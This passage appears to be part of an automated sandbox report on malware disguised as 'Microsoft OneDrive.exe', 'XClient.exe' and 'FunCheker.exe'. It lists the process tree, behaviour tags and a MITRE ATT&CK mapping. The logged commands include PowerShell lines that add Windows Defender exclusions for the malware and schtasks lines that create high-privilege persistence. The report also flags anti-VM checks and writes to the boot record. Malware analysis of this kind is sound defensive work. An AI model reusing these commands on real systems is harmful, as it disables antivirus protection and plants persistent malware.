  PID:164
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4056
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2976
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft OneDrive" /tr "C:\Users\Admin\AppData\Roaming\Microsoft OneDrive.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4672
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "Microsoft OneDrive"
    3⤵
    PID:1268
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF964.tmp.bat""
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4636
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4876
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:500
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\FunCheker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4728
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FunCheker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4736
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "FunCheker" /tr "C:\Users\Admin\AppData\Roaming\FunCheker.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4572

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion